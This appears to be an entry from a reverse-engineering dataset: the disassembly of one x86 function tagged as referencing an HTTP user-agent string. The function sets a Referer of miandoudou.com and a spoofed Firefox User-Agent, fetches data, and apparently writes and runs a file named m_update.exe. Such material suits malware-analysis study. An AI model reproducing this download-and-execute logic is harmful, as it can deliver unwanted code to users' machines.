Function at 0x434809
Capabilities:
Reference http user-agent string

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push 0x18
call fcn.0046f3d5
add esp, 4
mov dword [ebp - 4], eax
mov ebx, eax
mov edi, eax
xor eax, eax
mov ecx, 6
rep stosd dword es:[edi], eax
mov dword [ebx], 0x5e1996
push ebx
add ebx, 8
push ebx
push 0x24
call fcn.0046f3d5
add esp, 4
pop ebx
mov dword [ebx], eax
mov edi, eax
mov esi, 0x586a1c
lodsd eax, dword [esi]
stosd dword es:[edi], eax
lodsd eax, dword [esi]
stosd dword es:[edi], eax
xor eax, eax
mov ecx, 7
rep stosd dword es:[edi], eax
pop ebx
push ebx
mov eax, esp
push eax
call fcn.00434c8f
pop ebx
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [0x7bfe48]
test eax, eax
jne 0x43487e
mov eax, 0x58684b
push eax
push 1
mov ebx, 0x471fb0
call fcn.0046f3db
add esp, 0x10
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
mov eax, 0x5869a9
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 4]
push eax
mov eax, dword [esp]
mov eax, dword [eax]
mov eax, dword [eax]
call dword [eax + 0x18]
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x4348c2
push ebx
call fcn.0046f3cf
add esp, 4
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x4348d2
push ebx
call fcn.0046f3cf
add esp, 4
mov eax, 0x5e1927
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
mov eax, 0x586ac8
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 4]
push eax
mov eax, dword [esp]
mov eax, dword [eax]
mov eax, dword [eax]
call dword [eax + 0x1c]
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x434908
push ebx
call fcn.0046f3cf
add esp, 4
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x434918
push ebx
call fcn.0046f3cf
add esp, 4
mov eax, str.http:__miandoudou.com
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
mov eax, str.Referer
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 4]
push eax
mov eax, dword [esp]
mov eax, dword [eax]
mov eax, dword [eax]
call dword [eax + 0x1c]
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x43494e
push ebx
call fcn.0046f3cf
add esp, 4
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x43495e
push ebx
call fcn.0046f3cf
add esp, 4
mov eax, str._Mozilla_5.0__Windows_NT_6.1__WOW64__rv:23.0__Gecko_20100101_Firefox_23.0
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
mov eax, str.User_Agent
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 4]
push eax
mov eax, dword [esp]
mov eax, dword [eax]
mov eax, dword [eax]
call dword [eax + 0x1c]
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x434994
push ebx
call fcn.0046f3cf
add esp, 4
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x4349a4
push ebx
call fcn.0046f3cf
add esp, 4
mov dword [ebp - 8], 0
push 0
push dword [ebp - 8]
mov dword [ebp - 0xc], 0
push 0
push dword [ebp - 0xc]
mov dword [ebp - 0x10], 0
push 0
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 4]
push eax
mov eax, dword [esp]
mov eax, dword [eax]
mov eax, dword [eax]
call dword [eax + 0x20]
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x4349e7
push ebx
call fcn.0046f3cf
add esp, 4
push 0
mov ebx, 0x470f30
call fcn.0046f3db
add esp, 4
mov dword [ebp - 8], eax
push 0x5d1de0
push dword [ebp - 8]
mov ecx, 2
call fcn.0040159f
add esp, 8
mov dword [ebp - 0xc], eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x434a24
push ebx
call fcn.0046f3cf
add esp, 4
push reloc.OLEAUT32.dll_SysStringLen
push 0
push 0x434e2a
push 1
mov ebx, 0x471840
call fcn.0046f3db
add esp, 0x10
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], edx
push 1
push 0x7b
push 1
fld qword [ebp - 0x14]
call fcn.00402c6e
push eax
push 0x7bfe44
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 4]
push eax
mov eax, dword [esp]
mov eax, dword [eax]
mov eax, dword [eax]
call dword [eax + 0x24]
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x434a81
push ebx
call fcn.0046f3cf
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [0x7bfe40]
test eax, eax
jne 0x434a96
mov eax, 0x58684b
push eax
push 1
mov ebx, 0x473450
call fcn.0046f3db
add esp, 0x10
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 1
jne 0x434c48
push 0
mov ebx, 0x4733b0
call fcn.0046f3db
add esp, 4
mov dword [ebp - 8], eax
push 0x5d1de0
push dword [ebp - 8]
mov ecx, 2
call fcn.0040159f
add esp, 8
mov dword [ebp - 0xc], eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x434af3
push ebx
call fcn.0046f3cf
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x434b06
mov eax, 0x58684b
push eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [0x7bfe40]
test eax, eax
jne 0x434b1c
mov eax, 0x58684b
push eax
push 0x80001
push 0x1601a3ba
push 0x52014a60
push 3
mov eax, 7
mov ebx, 0x4efb00
call fcn.0046f3e1
add esp, 0x28
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x434b53
push ebx
call fcn.0046f3cf
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [0x7bfe40]
test eax, eax
jne 0x434b68
mov eax, 0x58684b
push eax
push 1
mov ebx, 0x473430
call fcn.0046f3db
add esp, 0x10
cmp dword [0x7bfdf8], 0
jne 0x434c1c
push 0
mov ebx, 0x4733b0
call fcn.0046f3db
add esp, 4
mov dword [ebp - 8], eax
push str.m_update.exe
push dword [ebp - 8]
mov ecx, 2
call fcn.0040159f
add esp, 8
mov dword [ebp - 0xc], eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x434bc5
push ebx
call fcn.0046f3cf
add esp, 4
push 0
push 0
push 0
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x434bea
mov eax, 0x58684b
push eax
push 3
mov ebx, 0x470d30
call fcn.0046f3db
add esp, 0x28
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x434c0d
push ebx
call fcn.0046f3cf
add esp, 4
push 0
call fcn.0046f405
add esp, 4
jmp 0x434c43
push 0
push 0
push 0
push 0x10001
push 0x6014a61
push 0x52014a60
push 2
mov ebx, 0x475440
call fcn.0046f3db
add esp, 0x1c
jmp 0x434c7b
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 1
push 0
push 0
push 0
push 0x10001
push 0x6014ab0
push 0x52014aaf
push 3
mov ebx, 0x470e80
call fcn.0046f3db
add esp, 0x28
mov ebx, dword [ebp - 4]
push ebx
mov eax, dword [ebx]
call dword [eax]
call fcn.0046f3cf
add esp, 4
mov esp, ebp
pop ebp
ret